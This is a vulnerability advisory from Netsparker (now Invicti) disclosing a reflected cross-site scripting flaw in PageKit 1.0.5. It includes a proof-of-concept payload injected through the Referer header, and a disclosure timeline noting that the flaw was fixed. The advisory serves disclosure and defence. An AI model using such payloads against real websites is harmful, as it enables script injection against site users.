Advisory by Netsparker (now Invicti)
Name: Reflected Cross-site Scripting Vulnerability in PageKit 1.0.5
Affected Software: PageKit 1.0.5
Affected Versions: 1.0.5 and possibly below
Vendor Homepage: 
Vulnerability Type: Cross-site Scripting
Severity: Important
Status: Fixed
Invicti Advisory Reference: NS-16-010

Technical Details
Proof of Concept URL for XSS vulnerability in PageKit 1.0.5:

URL /pagekit-1.0.5-full/o.config
Parameter Name Referer
Parameter Type HTTP Header
Attack Pattern '"--></style></scRipt><scRipt>alert(0x0026F8)</scRipt>

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline
04 Aug 2016 - First Contact
08 Aug 2016 - Vendor Replied
09 Aug 2016 - Advisory Released

Patch released by PageKit and announced here.

Credits & Authors
These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.